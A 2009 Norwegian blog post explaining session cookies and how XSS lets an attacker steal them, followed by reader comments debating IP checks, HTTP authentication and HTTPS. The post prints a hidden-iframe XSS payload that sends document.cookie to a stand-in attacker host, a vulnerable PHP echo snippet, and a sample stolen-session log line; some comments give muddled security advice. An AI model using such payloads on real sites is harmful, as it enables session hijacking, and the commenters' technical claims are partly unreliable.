Internett er broken
Da internett as we know it, ble skapt på starten av 1990 tallet, var ikke akkurat sikkerhet noe de hadde i tankene. De ville bare få til en enkel måte å dele informasjon på, og det klarte de.
Internett er ødelagt fordi det var opprinnelig ikke noen måte å autentisere på. De tenkte ikke på at i framtiden skulle det oppstå forum, blogger og logginnsystemer etc. Som krevde autentisering.
I senere tid ble cookies innført. Og vips kunne man lage logginnsystemer.
Det eneste som beviser at du er deg, er faktisk bare en cookie. Som oftest ser den slik ut:
PHPSESSID=f4k90s1kdf045of83jdd
Etter at du har logget deg inn et sted, sender din browser denne cookien sammen med HTTP requesten. Og deretter blir du servert muligheten til å endre dine detaljer, skrive i forum osv.
Med andre ord er denne cookien nøkkelen til et nettsted, forum, blog eller whatever. Hva om denne cookien kommer på avveie?
Om den gjør det, er det for en hacker å bare instruere browseren om å sende med denne cookien med på hver request. Og plutselig er angriperen logget inn som en annen.
Jamen hvordan presterer folk å bli frastjålet cookien sin da?
Ja dette er hundretusen spørsmålet. Og du vil bli overrasket over hvor lett dette egentlig er. Den mest brukte måten er via javascript og xss.
Javascript har nemlig tilgang til cookies. Dog kun hos det domenet javascriptet kjøres på. Skriv dette i browser url vinduet, og du vil få se hvilke cookies du har på dette nettstedet:
javascript:alert(document.cookie)
For å stjele cookies med javascript, trenger man å finne et xss hull på det nettstedet hvor du vil hacke en bruker. Ta f.eks. ung.no. De har ikke noe logginn system tror jeg, men hvis de hadde hatt det, kunne jeg ha brukt denne urlen til å stjele cookies:
_KODENE FUNKER IKKE LENGER_
Du lurer kanskje på hvordan man skal få offeret til å klikke på denne lenken?
Dette må gjøres med social engineering. Det vil si at du må lure dem til å gjøre det. Man kan f.eks. legge urlen inni en html iframe tag slik:
<iframe height="0" width="0" src="http://www.ung.no/sok.php?sok=%22><script>document.location.href='http://angriper/?cookie='+document.cookie</script>"></iframe>
Denne legger man da inn på ett nettsted eller en blogg, og gir lenken til offeret. Siden width og height er lik 0, vil ikke iframe vises. Og offeret vil ikke få vite hva som foregår.
Angriperen sjekker etterpå sin webserver logg, og vil få se noe slikt:
145.234.23.6 - [10/Oct/2000:13:55:36 -0700] "GET /?cookie=PHPSESSID=f4k92s8j4ff5g50gj0j0wd
Det fins en rekke andre metoder for å stjele cookies. Blant annet kan den bli avslørt i din referrer. Den kan bli avslørt ved hjelp av en browser bug. Uvitende brukere kan gi den vekk med social engineering. Eller den kan bli snappet opp om du bruker en proxy. I tillegg fins det også mange avanserte måter som jeg tror jeg ikke skal gå innpå her.
Hvorfor forstår ikke folk disse farene?
Jeg tror grunnen til at folk ikke forstår er fordi det rett og slett er litt vanskelig å forstå. Hvorfor er det farlig å tillate html og javascript på et nettsted?
Ta f.eks. denne php koden:
$navn = $_GET['navn']; echo "Ditt navn er $navn";
Denne er sårbar for xss fordi $navn ikke blir filtrert. Om man besøker en slik lenke:
http://server/?navn=<script>alert('xss')</script>
Vil da html koden bli slik:
Ditt navn er <script>alert('xss')</script>
Og en alert boks vil poppe opp. Og siden javascriptet på nettstedet har tilgang til cookies, vil man da kunne sende disse cookiene til en annen server.
Hva skal vi gjøre nå da
Vi må informere flest mulig om dette. At filtrering av all input er viktig. Gi denne lenken til folk som spør om sikkerhet osv. Del den på din blogg og andre internettfora.
Det er nemlig slik at hvis du ikke forstår prinsippet bak xss og kakestjeling, så skjønner du heller ikke hvorfor du skal filtrere.
Les for eksempel kommentarene på itpro.no om emnet. Så ser du hvor uvitende folk er.
Forstår du nå hvorfor det er viktig å filtrere all bruker input?
Del på Facebook
Del på Twitter
Nå lønner det seg å undersøke litt før du kommer med påstander om at autentisering ble “oppfunnet” med cookies. Det finnes andre autentiseringsmåter, som slett ikke er avhengig av cookies.
Faktisk så er autentisering en del av HTTP standarden, og kom FØR cookies. Ved små enkle grep vil nettleseren selv vise en dialogboks hvor du blir bedt om å skrive inn brukernavn og passord. Hvorfor den ikke blir brukt av nettsteder vet jeg ikke, men den er nå i alle fall der.
Jeg husker at mange nettsteder benyttet seg av den tidligere, og det var faktisk mer praktisk. Da var det opp til nettleserene å huske på tidligere pålogging, uten bruk av cookies og andre usikkerheter.
Les mer om standarden her:
http://www.ietf.org/rfc/rfc2617.txt
For å teste ut i praksis, så kan du (hvis du bruker apache) enkelt passordbeskytte filer/kataloger ved å redigere .htaccess filen
Artikkel om .htaccess:
http://www.javascriptkit.com/howto/htaccess3.shtml
@gammel internettbruker: Du har selvfølgelig helt rett. Denne autentiseringen med boks som popper opp var med ifra tidlig av. Men i disse moderne tider blir slike bokser litt gammeldagse. Det fins ingen måte å logge ut på, og brukernavn og passord blir sendt i HTTP headerene i plain text.
Ellers skal jeg undersøke enda mere før jeg kommer med andre påstander. Takk.
hva med å bruke innlogging kun via sessions? du trenger vel ikke cookies for det?
Selvfølgelig, må du da logge deg inn på nytt hver gang du besøker siden..
Ærlig talt, tyveri av cookies er ikke noe praktisk problem dersom webutvikleren har gjort jobben sin og autentifiserer IP i tillegg til cookie.
(Ja, cookien kan fortsatt stjeles fra andre på samme NAT, men det er ett minimalt problem)
@christian: Sessions krever cookies da PHPSESSID sendes som en cookie fra browser til server.
@Meg: Du har helt rett i at det ikke er noe problem dersomn webutvikleren har gjort jobben sin. Men hva med alle webutviklere som ikke kan sin sikkerhet? Eller hva med alle hobbyprogrammerere?
Når man ikke får inn dette med sikkerhet fra starten av, er det ofte kjedlig å gå gjennom kode å sikre denne. Derfor blir det sjelden gjort. Og svakheter ligger klare til å bli misbrukt av slemme folk.
Er enig med Mr. Meg her.
Slik jeg legger opp sidene mine nå har jeg brukere i database med et brukernavn og et mda hashet passord som de skriver inn når de registrerer seg (og selvfølgelig mye annen informasjon som er side-relatert).
Når brukeren så logger inn hasher jeg passordet med mda og sjekker om det stemmer overens med det som ligger i databasen. I så fall genererer serveren en tilfeldig kode på 40 bokstaver som den legger sammen med brukerid-en og sender det som en cookie til brukeren. Samtidig tar serveren IPen til brukeren og legger den inn i en rad der brukeren har sin data i databasen. Videre slår siden opp brukerid-en som er i cookien og sjekker om den tilfeldig genererte koden stemmer overens med det som står i raden til brukeren i databasen OG om IPen er den samme som brukeren var på når han/hun logget inn. Stemmer dette er brukeren innlogget og vil bare være innlogget i maks 120 dager før cookien går ut og IPen blir slettet fra databasen slik at brukeren må logge inn på nytt. Eneste som er mulig for andre å komme innpå kontoen til brukerens konto nå er for andre som er bak samme ip å ha informasjonen i cookien til brukerens egentlige eier. Men det er veldig vanskelig ettersom jeg faktiskt også filtrerer alt av input veldig godt. Eller prøve seg frem til passordet, men besøkende får bare 6 forsøk per døgn, så det er også vanskelig.
Utroooooooooooooolig godt forklart
men poenget er at du kan få en sikker side om du bare bruker litt tid og tenker litt om når du programmerer.
@Erlend: Du virker som du har endel peiling. Men dette med kakestjeling er bare en enkel versjon av dette greiene her. Det fins mye forskjellig man kan gjøre med en gang man får inn javascript på et domene.
Med f.eks. ajax(google it) så kan javascript faktisk gjøre handlinger med både POST og GET. Javascript kan hente ut tokens, og eller nye cookies som måtte oppstå. Og når det er javascript som gjør dette, er det naturligvis ipen til den innloggende som sender requestene.
Dette helt sikkert litt vanskelig for deg å forstå, men slik er det faktisk.
Med andre ord vil en ip sjekk ikke være tilstrekkelig når man først finner et xss og bruker denne til å kjøre javascript kode.
@admin
Joda, det er mye man kan gjøre når man først har funnet ett XSS-hull, men om det eksisterer muligheter for å få injisert javascript på siden har ikke utvikleren gjort jobben sin.
Ja, dette er nok ett problem blant enkelte, men før eller siden vil tiden lære de en lekse. Hobbybrukere, som meg selv, har ingen unnskyldning for å sove i timen.
Folk som ikke tar XSS eller session-hijacking seriøst innen nå kommer ikke til å gjøre det før de blir tatt på senga.
Synd på brukerne av tjenesten, dersom de har mye personlig informasjon lagret der, men det fryder meg når late scriptere får, unnskyld ordbruken, dyttet en påminnelse så langt opp der bak at de føler seg som en “assvirgin” i fengsel.
som den første personen sa om .htaccess, så mener han vel med å bruke for eksempel .htpasswd og et par linjer i .htacess fila. hvor man da har user:pw i .htpasswd fila og da må det være riktig mot hverandre, dette er greit vis man bare skal passord beskytte siden men det er ingen god måte å la folk registere seg automatisk og logge inn og ut igjen.
men den letteste måten å løse problemet på er vel å ikke la folk bli innlogget over lengre tid, men tvinge dem til logge inn på nytt etter x antall minutter, kanskje litt mer slitsomt for slutt brukeren men også litt tryggere.
@Mats: Vi kunne selvfølgelig tvunget brukere til å logge inn på nytt hvert 5. minutt, men det ødelegger jo hele opplevelesen.
Uansett blir ikke problemet løst, da det fortsatt kan skje. F.eks. om man bruker PM systemet til nettstedet, og legger ved en skummel lenke. Da hjelper ikke selv en 5 minutters sperre.
Nå må du ikke gjøre alle folk helt paranoide, og utelukke hvordan f.eks nettbank fungerer. Det er ikke alle (veldig få) som vet hva en cookie er, eller hvordan utnytte XSS (Eller i det hele tatt vite hva det er), og jeg tror det sitter et par smånervøse nettbrukere rundtom som har lest denne.
Til alle dere som nå tror at hvem som helst kan “stjele” din session på en nettbank f.eks, så er ikke dette tilfelle! Med en gang du ser at det står: “https://” i stedet for “http://” i nettfeltet ditt er du sikkert autentisert gjennom en teknikk som ansees å være meget sikker pr idag, populært kalt sertifikater.
Denne autentiserer deg direkte mot nettbanken, og per i dag er det ingen som har klart å hijacke en slik sertifikat session (hvertfall ikke av den standaren som nettbankene i Norge bruker)
Jeg syntes dette er et viktig poeng å påpeke, for i innlegget ditt kan det virke som at ingenting på internett går an å autentisere skikkelig – noe som er direkte feil. Det er lett for sikkerhetsanalytikere å være paranoid, men tro meg når jeg sier at det er lettere for sikkerhetsanalytikere å gjøre Ola Nettbruker Nordman paranoid (ofte uretmessig paranoid også) =)
Jeg har tatt et par sikkerhetskurs ved NTNU de siste årene, og SQL/Java injection defineres som et veldig enkelt, men effektivt angrep på dårlig programmerte sider. Bruk sertifikater med AES 2048 bit SHA-1, og tenk logisk når du sette opp mappestrukturen din på apacheserveren, og stol ikke på at coocie kan levere noe form for sikkerhet, så klarer du deg fint
Cookie var egentlig ikke ment som et sikkerhetsaspekt, men mer som å gi brukeren et par parametre for å huske en brukers instillinger og valg på en server/nettside
Jeg vet det var litt uoversiktlig skrevet, men håper det var noe der som var forståelig
@viktig: Jeg har ikke satt meg inn i hvordan bankid fungerer, og vet ikke om det er sikkert eller ikke. Men det jeg vet er at https krypterer forbindelsen på et annet layer enn HTTP layeret. Med andre ord kan et xss angrep, eller et hvilket som helst annet angrep på port 80 gå fint under radaren til https. Jeg håper du visste dette?
Ellers er jeg uenig at jeg har overdramatisert. Det er godt mulig bankid på nettbank er trygt. Men alle andre sider som ikke bruker engangs-tokens og/eller beskytter mot html/javascript injeksjon er sårbare.
Dette gjelder naturligvis kun nettsteder som har en en slags logginn/interface.
Beklager at det var litt rotete forklart! Det som er poenget mitt er at SSL gir en toveis kryptert forbindelse mellom server og klient. Vi løste problemet du referer til her ved at selve tilgangen til login siden først blir tilgjengelig etter at bruker har verifisert at han/hun besitter et gyldig sertifikat. Mao ligger hele login side i f.eks /htdocs/secure/ sammen med all annen sensitiv informasjon du ikke ønsker at uvedkommende skal få tilgang til.
Denne mappen KAN ikke aksesseres og apache restriksjoner nekter å gi ut innholdet her på HTTP protokollen, og en XSS/SQL injeksjon er nyttesløs på port 80 for alt som ligger i secure/. Dette gir en veldig optimal sikkerhet uten bruk av engangstoken som du referer til
(Jeg tok dog ikke bankID med i innlegget over, men er selvfølgelig en viktig sikkerhetsfaktor!)
Nå brukte jeg selvfølgelig nettbank som et eksempel, men som du sikkert er klar over er dette en veldig brukt protokoll rundtom
Jeg kan godt gi deg noe lesemateriell på dette som sikkert forklarer mye bedre enn det jeg får til akkurat nå, blant annet kan du se labrapporten vår hvor vi faktisk implementerte en slik side.
Jeg ser problemet ditt du referer til, men som nevnt over kan det ganske enkelt ungåes ved bruk av escape strings (for SQL), ikke bruke cookie som sikkerhetfaktor (aldri!) og implementere sertifikater og utnytte troverdigheten til f.eks VeriSign.
Føler jeg bør rette litt på meg selv ang den siste kommentaren. Nå skrev jeg at problemet ditt kan ganske enkelt ungåes, og det er selvfølgelig ikke tilfelle. En slik sertifikatimplementasjon er et herk, og jeg ser ikke for meg at dette er en løsning som vil fungere på småsider med mange brukere (som f.eks blogger) som du henviser til i artikkelen. Generering, verifisering og distribusjon av sertifikater er slitsomt både for admin og hardware, og den kompliserte mappestrukturen kan ødelegge mye når du skal programmere siden med java/php (feks)
Men en løsning, det er det
Jeg må rette litt på meg selv, da jeg ser du kunne ha blitt forvirret av hva jeg skrev.
Https eller SSL, er en protokoll som krypterer det browseren sender til servern. Denne typen koblinger bruker port 443. Dersom noen i midten snapper opp dette, vil det ikke være lesbart. Dette forstår du.
Dersom en bruker er logget inn på ett nettsted, ved bruk av SSL kan en selvfølgelig ikke bli hacket via HTTP men via https altså port 443. Dette fungerer fordi ting blir ikke kryptert før rett etter browseren sender det ut.
Ta f.eks. denne koden:
<img src=”HTTPS://skogtrollet.com/endre.php?navn=hacked”>
Mener du altså at denne ikke vil fungere?
Om jeg får omformulere koden din litt til for å bevise et poeng:
Den vil ikke fungere nei, fordi serveren nekter deg (eller browseren din eller hva det måtte være) i det hele tatt å lese endre.php om du ikke besitter riktig sertifikat. (du kan jo ikke kjøre en parameterespørring på en php side du overhodet ikke oppnår tilgang til?)
Jeg skal prøve å forklare det litt enklere (jeg ser jo at jeg er helt tåpelig å forklare ting!)
1. Du går inn på http://skogtrollet.com
2. Du blir f.eks umiddelbart redirected til https://skogtrollet.com/secure1/login.php
På dette tidspunktet har browseren din og og serveren oppnådd en kryptert sesjon om du vil. PKI er fantastisk! (når denne er opprettet er det umulig å snappe opp informasjon som blir sendt nå fra MITM angripere, som du fint beskrev over).
3. Nå bruker du den krypterte sesjonen til å sende dine brukerdata, feks ID og PIN. Om dette er godkjent (f.eks mot MD5 mot en database eller hvordan du velger å gjøre det), så blir det utvekslet et NYTT sertifikat som distribueres på den sikre, men u-autentiserte sesjonen.
4. Med det NYE sertifikatet får du tilgang til https://skogtrollet.com/secure2/endre.php
Nå er du på en sikker linje, du har tilgang til endre.php og du er autentisert mot serveren.
Denne metoden bruker ikke cookies, man bør sikre loginsiden med mysql escape strings (selvfølgelig), og la all sensitiv informasjon ligge i secure2/ mappen. Det er sertifikatet ditt som godkjenner deg som bruker! Besitter du ikke det type sertifikat fra 4. så har du ingen lese/skrive rettigheter til endre.php
jeg føler vi har snakket litt om hverandre, men håper du forstår hva jeg vil frem til nå?
Jeg sier ikke at det er en lettvint løsning, men den skal i prinsippet være nokså bullet-proof.
men ikke glem at du trenger en egen IP for at https protokollen skal fungere, dette er ofte greit for bedrifter og større forum og blogger. men er enda påkostning mange som bare hobbyblogger eller driver et lite forum eller andre sider som trenger innlogging. uansett er sertifikatene ikke ekstremt billig heller. som sagt tidligere ikke noe problem for større sider, men for små sider kan det være et problem. (ikke glem at med IPv4 vil det ikke være nok IP adresser for dette.)
“men ikke glem at du trenger en egen IP for at https protokollen skal fungere:” Det gjør man vel ikke =)
“uansett er sertifikatene ikke ekstremt billig heller:” Koster sertifikater penger?
Nei.
“(ikke glem at med IPv4 vil det ikke være nok IP adresser for dette.)”: At IPv4 sitt adresserom begynner å gå tomt har vel ingenting med sertifikater å gjøre?!
Uansett har meg og admin diskutert dette ferdig på mail (for ikke å overfloode hele siden her), og vi fikk klarhet i missforståelsen. jeg må tydeligvis lese mer om XSS
E
Må si at dere skuffer noe sinnsykt!! Her diskuterer dere et ganske så aktuellt tema, for så å kutte debatten her og diskutere dette ferdig på MAIL!?!?
Dette er ALT for dårlig av dere, spess av ?admin? !!
[...] med dette? Om man har lest og forstår litt hvordan internett fungerer, har man fått med seg at internett er broken. I verste fall kan en ondsinnet idiot bryte seg inn på wordpress panelet til Martin og Sindre, og [...]
[...] Man kan gjøre mye rart på internett, fordi internett er “ødelagt” i min forstand. Dette innlegget ble skrevet på Wednesday, April 22nd, 2009. Og er lagret under Uncategorized. Skumma gjennom av 5 stykker. Love Letter Worm: Vi ha’kke lært en dritt. [...]
[...] Jeg starter derfor med å vise hvordan email vanligvis ferdes rundt omkring på internett. [...]
[...] Skogtrollet
[...] Skogtrollet
ale nezapomeňte, že budete potřebovat samostatné IP protokol https, které mají být efektivní, je často snadné pro podniky a větší fór a blogů. påkostning ale je ještě mnoho těch, kteří jen koníčkem blogger nebo spouštět malé fórum a další stránky